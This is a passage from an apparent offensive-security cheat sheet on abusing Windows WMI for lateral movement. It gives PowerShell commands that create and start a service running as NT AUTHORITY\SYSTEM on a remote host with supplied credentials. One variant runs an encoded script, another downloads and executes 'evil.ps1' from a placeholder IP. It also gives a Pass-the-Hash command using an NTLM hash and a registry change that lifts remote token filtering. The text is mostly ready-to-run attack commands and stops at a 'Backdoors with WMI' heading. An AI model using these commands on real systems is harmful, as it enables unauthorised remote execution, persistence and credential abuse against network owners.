<ul id="bkmrk-create-a-service"><li><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTMlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkNvbW1hbmQlMjBleGVjdXRpb24lMjAtJTIwd2luMzJfc2VydmljZSUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE">Create a service</span></li>
</ul><pre id="bkmrk-%24servicetype-%3D-%5Bbyte"><code class="language-Powershell">$ServiceType = [byte] 16
$ErrorControl = [byte] 1
Invoke-WmiMethod -Class win32_Service -Name Create -ArgumentList $false,"Windows Performance",$errorcontrol,$null,$null,"WinPerf","C:\Windows\System32\calc.exe",$null,$ServiceType,"Manual","NT AUTHORITY\SYSTEM",""</code></pre>
<div id="bkmrk-arguments-definition">
<div>
<div>
<div>
<table class="table-0f56c2d8" style="height: 455px; border-style: solid; width: 436px;" data-key="3153b42d1f954804acf0f783d67cf5da"><tbody><tr class="tableRow-41a0302b" style="height: 35px;" data-key="d583ae393da7442d81493910f0ed4a57"><th class="tableCell-150ac604--tableCellEditable-6ee34180" style="text-align: left; height: 35px; width: 222px; border-style: solid;" data-table="cell" data-key="8c08ccda240c4ba1a843a0be2d91c588">
<p class="blockParagraph-544a408c--noMargin-acdf7afa align-center" data-key="106be887b1db4ec6996087fc987ab969"><strong><span class="text-4505230f--UIH400-4e41e82a--textContentFamily-49a318e1">Arguments</span></strong></p>
</th>
<th class="tableCell-150ac604--tableCellEditable-6ee34180" style="text-align: left; height: 35px; width: 214px; border-style: solid;" data-table="cell" data-key="58ae91205ea74c43a51e546e5e55f32c">
<p class="blockParagraph-544a408c--noMargin-acdf7afa align-center" data-key="24cd75d85a3142cf95ca6183c8052d2e"><strong><span class="text-4505230f--UIH400-4e41e82a--textContentFamily-49a318e1">Definitions</span></strong></p>
</th>
</tr><tr class="tableRow-41a0302b" style="height: 35px;" data-key="14edc0f6eb84406b8bd2ddbadc8a2b88"><td class="tableCell-150ac604--tableCellEditable-6ee34180" style="text-align: left; height: 35px; width: 222px; border-style: solid;" data-table="cell" data-key="da3835131fd34b5c9d95cfcc458a4d8e">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="2c9f6b487454488cb7528158bd2e991d"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="6a186e7cb78e4dbebebe224b77288eb9">$false</span></span></p>
</td>
<td class="tableCell-150ac604--tableCellEditable-6ee34180" style="text-align: left; height: 35px; width: 214px; border-style: solid;" data-table="cell" data-key="b7efbc5dc009428eb88aa73832f9325f">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="e78b7c402ee44d5c82fe6024948ad045"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="6e189fb8d14d49f0b7f5603ea32091a4">DesktopInteract</span></span></p>
</td>
</tr><tr class="tableRow-41a0302b" style="height: 35px;" data-key="2b0dec3ec94d4d7a96ac11465a4ac11c"><td class="tableCell-150ac604--tableCellEditable-6ee34180" style="text-align: left; height: 35px; width: 222px; border-style: solid;" data-table="cell" data-key="03afc36468e0497297f67c06083fef64">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="e52620ccbd994a25affd55885e3e1f29"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="b5482191467b41ee84117bf23df84f91">"Windows Performance"</span></span></p>
</td>
<td class="tableCell-150ac604--tableCellEditable-6ee34180" style="text-align: left; height: 35px; width: 214px; border-style: solid;" data-table="cell" data-key="dbb108540bac4a0a9483f7b0b28c1735">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="ac270f934ebf4934af886bbc4b6726b1"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="6ca9e89c5f0d4844b77142fc8e248f02">DisplayName</span></span></p>
</td>
</tr><tr class="tableRow-41a0302b" style="height: 35px;" data-key="87d88b038e1648c2a536d0d1f0bc5326"><td class="tableCell-150ac604--tableCellEditable-6ee34180" style="text-align: left; height: 35px; width: 222px; border-style: solid;" data-table="cell" data-key="3158c5c66e054593b8a5453142ab7572">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="6b07c54ecf6e4093814c6adf477a180b"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="021e573c8810463dbcd99f79a1f4d765">$ErrorControl</span></span></p>
</td>
<td class="tableCell-150ac604--tableCellEditable-6ee34180" style="text-align: left; height: 35px; width: 214px; border-style: solid;" data-table="cell" data-key="e7baad01a126419c9f287239c41a1bf1">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="fe68f62a67a84a9c983be01462edc0bc"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="6cc885958c1840d7b3bccba4dad3e8f6">User is notified</span></span></p>
</td>
</tr><tr class="tableRow-41a0302b" style="height: 35px;" data-key="7aa46d3c05cb492bb1f085f4b325c470"><td class="tableCell-150ac604--tableCellEditable-6ee34180" style="text-align: left; height: 35px; width: 222px; border-style: solid;" data-table="cell" data-key="1745995f5311483db52fad354c97117f">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="9708226eb8a949918ff575f4982351bf"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="fa789272f4a34d1eac6ed8a579631e03">$null</span></span></p>
</td>
<td class="tableCell-150ac604--tableCellEditable-6ee34180" style="text-align: left; height: 35px; width: 214px; border-style: solid;" data-table="cell" data-key="59ffe18fc6c24e9f938ebcad4f84be17">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="0ba793f0c44d4fd99f93038ba8f13a2e"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="c401e5639e254d8ab16adcffb03ff3b5">LoadorderGroup</span></span></p>
</td>
</tr><tr class="tableRow-41a0302b" style="height: 35px;" data-key="c4a1f5df2aea40aabfa2cd9c72f104ec"><td class="tableCell-150ac604--tableCellEditable-6ee34180" style="text-align: left; height: 35px; width: 222px; border-style: solid;" data-table="cell" data-key="b2f78eca66ca46e092ffd289b06f7198">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="31237359494749198dfc58f87c73d17f"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="835f0f6dd574432cace6ab698630f40b">$null</span></span></p>
</td>
<td class="tableCell-150ac604--tableCellEditable-6ee34180" style="text-align: left; height: 35px; width: 214px; border-style: solid;" data-table="cell" data-key="5895ce64094b4dfeb32a23b1fc15b027">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="f90e0cd756464bbcae4823c217f024f0"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="029f69f47f4547c2ac655fa674effc55">LoadorderGroupDependencies</span></span></p>
</td>
</tr><tr class="tableRow-41a0302b" style="height: 35px;" data-key="e314999b817f406e824e68d647fdc97a"><td class="tableCell-150ac604--tableCellEditable-6ee34180" style="text-align: left; height: 35px; width: 222px; border-style: solid;" data-table="cell" data-key="d187e436249b40d4a0b025f5d0f47c45">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="29ed361c846f45c683076da1cc086eea"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="11ad18bec89840358ccb1cba6abc00cf">"WinPerf"</span></span></p>
</td>
<td class="tableCell-150ac604--tableCellEditable-6ee34180" style="text-align: left; height: 35px; width: 214px; border-style: solid;" data-table="cell" data-key="8f654d3bfee341eea411474796d3a89d">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="5af591b42b0f4c77b388dfe74736a0fd"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="d214d145d7554984b5a6e7f7a26773f0">Name</span></span></p>
</td>
</tr><tr class="tableRow-41a0302b" style="height: 35px;" data-key="81abc77a68254271aa8417478f044502"><td class="tableCell-150ac604--tableCellEditable-6ee34180" style="text-align: left; height: 35px; width: 222px; border-style: solid;" data-table="cell" data-key="ef28a7268436418cbd67bfa765c745d7">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="70146aa2a1864cfca6700d5ad11f87fa"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="d22682a3b5344916aa3945831b12e558">"C:\Windows\System32\calc.exe"</span></span></p>
</td>
<td class="tableCell-150ac604--tableCellEditable-6ee34180" style="text-align: left; height: 35px; width: 214px; border-style: solid;" data-table="cell" data-key="eccc9afd6bce4e47a4a2eaa66b6cdd74">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="2cfa8cf12b8a4c778bee44fc9678f259"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="98eb4c0bd2ba47c28e471f8bb0bf42e7">PathName</span></span></p>
</td>
</tr><tr class="tableRow-41a0302b" style="height: 35px;" data-key="1eb0a2538fc64516889afc2efdc92f4a"><td class="tableCell-150ac604--tableCellEditable-6ee34180" style="text-align: left; height: 35px; width: 222px; border-style: solid;" data-table="cell" data-key="34e7fb479609490eb5592f050654fbd9">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="6623ee42818343f7af22098862c9b775"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="bf874c9f3bfc4477b8e1f593db73befc">$null</span></span></p>
</td>
<td class="tableCell-150ac604--tableCellEditable-6ee34180" style="text-align: left; height: 35px; width: 214px; border-style: solid;" data-table="cell" data-key="a3a9ffb8967847a3991149157ef81bad">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="8b2e9cbda28e4063b6bc0a8f56440159"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="26ac8e7e0ab840dd8787cf8b850e19fd">ServiceDependencies</span></span></p>
</td>
</tr><tr class="tableRow-41a0302b" style="height: 35px;" data-key="6c7469a276e14670a9fadd415194e1fe"><td class="tableCell-150ac604--tableCellEditable-6ee34180" style="text-align: left; height: 35px; width: 222px; border-style: solid;" data-table="cell" data-key="58f0738dbe1144cab2a8e0728b96fe45">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="a68a04f80d124e90b769cddcc50d388c"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="13782bfb3c9343b4a76c37d2143b8175">$ServiceType</span></span></p>
</td>
<td class="tableCell-150ac604--tableCellEditable-6ee34180" style="text-align: left; height: 35px; width: 214px; border-style: solid;" data-table="cell" data-key="8d238f049fdd4ef195fb3a0ad91665e7">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="a3d4a10dffc2482283338a775054b9b3"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="f6c3cc00a65a485dbca1f1fb03b2764e">Own process</span></span></p>
</td>
</tr><tr class="tableRow-41a0302b" style="height: 35px;" data-key="0f8147f9596747bfbf65d2b6b219c5e3"><td class="tableCell-150ac604--tableCellEditable-6ee34180" style="text-align: left; height: 35px; width: 222px; border-style: solid;" data-table="cell" data-key="c5579edea4704be3ae58bbb48e0673a5">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="7f3761419ac64d319ba6ebb3a603fc1f"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="09b9dc16896b45c080f44fe1393cb61c">'Manual"</span></span></p>
</td>
<td class="tableCell-150ac604--tableCellEditable-6ee34180" style="text-align: left; height: 35px; width: 214px; border-style: solid;" data-table="cell" data-key="5a0bb21714844ab6b61bd9ab98df7d2e">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="496fda065d974cee91b71e6eec2ae704"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="5585680504dd45b5b499264fdcc29e62">StartMode</span></span></p>
</td>
</tr><tr class="tableRow-41a0302b" style="height: 35px;" data-key="812fc54b580d4655b8be6f723718b506"><td class="tableCell-150ac604--tableCellEditable-6ee34180" style="text-align: left; height: 35px; width: 222px; border-style: solid;" data-table="cell" data-key="b4e412a6ceb84e2ab6b849413d1a01f2">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="1260b59aff414480a526c1e478e46277"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="134a9641b6954032b0826d85a8542248">"NT AUTHORITY\SYSTEM"</span></span></p>
</td>
<td class="tableCell-150ac604--tableCellEditable-6ee34180" style="text-align: left; height: 35px; width: 214px; border-style: solid;" data-table="cell" data-key="b04885c36298457694503904cd84bb7a">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="6756a172224c4e0ba2968b887565d8f1"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="a21815f29c534e57a6cb2de03e515623">StartName</span></span></p>
</td>
</tr><tr class="tableRow-41a0302b" style="height: 35px;" data-key="ba45b19be9c0488fb1c7452daec390fd"><td class="tableCell-150ac604--tableCellEditable-6ee34180" style="text-align: left; height: 35px; width: 222px; border-style: solid;" data-table="cell" data-key="883a075be79f4aa2a6249a005b3ad18f">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="e75ca62952b1495e9a8abd69177fc258"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="93bff6390b4e4e81bdd40b649eb0483b">""</span></span></p>
</td>
<td class="tableCell-150ac604--tableCellEditable-6ee34180" style="text-align: left; height: 35px; width: 214px; border-style: solid;" data-table="cell" data-key="5a17b5323d104c94be7effef7bed1143">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="f477ef09ee574ec8b519b8e6073d1d4b"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="7e45e071037345c1ad5c83348a714e80">StartPassword</span></span></p>
</td>
</tr></tbody></table><ul><li><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJsaXN0LXVub3JkZXJlZCUyMiUyQyUyMmlzVm9pZCUyMiUzQWZhbHNlJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCUyQyUyMm5vZGVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIybGlzdC1pdGVtJTIyJTJDJTIyaXNWb2lkJTIyJTNBZmFsc2UlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMlN0YXJ0JTIwdGhlJTIwc2VydmljZSUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE">Start the service</span></li>
</ul></div>
</div>
</div>
</div>
<pre id="bkmrk-get-wmiobject--class-9"><code class="language-Powershell">Get-WmiObject -Class win32_Service -Filter 'Name = "WinPerf"' | Invoke-WmiMethod -Name StartService</code></pre>
<ul id="bkmrk-remove-the-service"><li><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJsaXN0LXVub3JkZXJlZCUyMiUyQyUyMmlzVm9pZCUyMiUzQWZhbHNlJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCUyQyUyMm5vZGVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIybGlzdC1pdGVtJTIyJTJDJTIyaXNWb2lkJTIyJTNBZmFsc2UlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMlJlbW92ZSUyMHRoZSUyMHNlcnZpY2UlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==">Remove the service</span></li>
</ul><pre id="bkmrk-get-wmiobject--class-10"><code class="language-Powershell">Get-WmiObject -Class win32_Service -Filter 'Name = "WinPerf"' | Remove-WmiObject</code></pre>
<h4 id="bkmrk-abuse-command-execut"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTMlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkFidXNlJTIwY29tbWFuZCUyMGV4ZWN1dGlvbiUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE">Abuse command execution</span></h4>
<pre id="bkmrk-invoke-wmimethod--cl-0"><code class="language-Powershell">Invoke-WmiMethod -Class win32_Service -Name Create -ArgumentList $false,"Windows Performance",$errorcontrol,$null,$null,"WinPerf","C:\Windows\System32\cmd.exe /c powershell -e &lt;Base64EncodedScript&gt;",$null,$ServiceType,"Manual","NT AUTHORITY\SYSTEM","" -ComputerName 192.168.1.1 -Credential contoso\john

#With iex
Invoke-WmiMethod -Class win32_Service -Name Create -ArgumentList $false,"Windows Performance",$errorcontrol,$null,$null,"WinPerf","C:\Windows\System32\cmd.exe /c powershell iex (New-Object Net.WebClient).DownloadString('http://IP/evil.ps1')",$null,$ServiceType,"Manual","NT AUTHORITY\SYSTEM","" -ComputerName 192.168.1.1 -Credential contoso\john</code></pre>
<h3 id="bkmrk-pass-the-hash"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTIlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMlBhc3MlMjBUaGUlMjBIYXNoJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0Q=">Pass The Hash</span></h3>
<p id="bkmrk-with-invoke-wmiexec-"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTIlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMlBhc3MlMjBUaGUlMjBIYXNoJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0Q="><span data-key="2521a72094824e3392c8776cbfe57ee4">With </span><span style="text-decoration: underline;"><strong><a href="https://github.com/Kevin-Robertson/Invoke-TheHash/blob/master/Invoke-WMIExec.ps1" target="_blank" rel="noopener">Invoke-WMIExec</a></strong></span><span data-key="642a34551a3c49ec887a2fdc8a664e1d" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMldpdGglMjAlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCUyQyU3QiUyMm9iamVjdCUyMiUzQSUyMmlubGluZSUyMiUyQyUyMnR5cGUlMjIlM0ElMjJsaW5rJTIyJTJDJTIyaXNWb2lkJTIyJTNBZmFsc2UlMkMlMjJkYXRhJTIyJTNBJTdCJTIyaHJlZiUyMiUzQSUyMmh0dHBzJTNBJTJGJTJGZ2l0aHViLmNvbSUyRktldmluLVJvYmVydHNvbiUyRkludm9rZS1UaGVIYXNoJTJGYmxvYiUyRm1hc3RlciUyRkludm9rZS1XTUlFeGVjLnBzMSUyMiU3RCUyQyUyMm5vZGVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIydGV4dCUyMiUyQyUyMmxlYXZlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIySW52b2tlLVdNSUV4ZWMlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCUyQyU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMiUyMGl0J3MlMjBwb3NzaWJsZSUyMHRvJTIwcmVhbGlzZSUyMGElMjBQYXNzJTIwVGhlJTIwSGFzaCUyMHdpdGglMjBXTUklMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA=="> it's possible to realise a Pass The Hash with WMI</span></span></p>
<pre id="bkmrk-invoke-wmiexec--targ"><code class="language-Powershell">Invoke-WmiExec -target ws01 -hash 32ed87bd5fdc5e9cba88547376818d4 -username administrator -command hostname</code></pre>
<p id="bkmrk-the-rid-of-the-targe" class="callout info" data-key="5f19ed0b8b7f4fec90c8e64176facd35"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="bff29016305f4e3987288d7a05fb5650">The RID of the target user must be at <strong class="bold-3c254bd9" data-slate-leaf="true">500<br></strong></span></span><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="c42f2d0595dc4563879a55f4e0a20a8f">If not (not a builtin admin), the privileges will be stripped during the token creation</span></span></p>
<p id="bkmrk-the-solution-is-to-s"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="c42f2d0595dc4563879a55f4e0a20a8f">The solution is to setup this registry key at <strong class="bold-3c254bd9" data-slate-leaf="true">0x1</strong> on the machine</span></span></p>
<p id="bkmrk-hklm%5Csoftware%5Cmicros"><code><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJjb2RlJTIyJTJDJTIyaXNWb2lkJTIyJTNBZmFsc2UlMkMlMjJkYXRhJTIyJTNBJTdCJTIyc3ludGF4JTIyJTNBJTIyYmFzaCUyMiU3RCUyQyUyMm5vZGVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIyY29kZS1saW5lJTIyJTJDJTIyaXNWb2lkJTIyJTNBZmFsc2UlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJ0ZXh0JTIyJTJDJTIybGVhdmVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjJIS0xNJTVDJTVDU09GVFdBUkUlNUMlNUNNaWNyb3NvZnQlNUMlNUNXaW5kb3dzJTVDJTVDQ3VycmVudFZlcnNpb24lNUMlNUNQb2xpY2llcyU1QyU1Q1N5c3RlbSU1QyU1Q0xvY2FsQWNjb3VudFRva2VuRmlsdGVyUG9saWN5JTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0Q=">HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy</span></code></p>
<h3 id="bkmrk-backdoors-with-wmi"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTIlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkJhY2tkb29ycyUyMHdpdGglMjBXTUklMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==">Backdoors with WMI</span></h3>
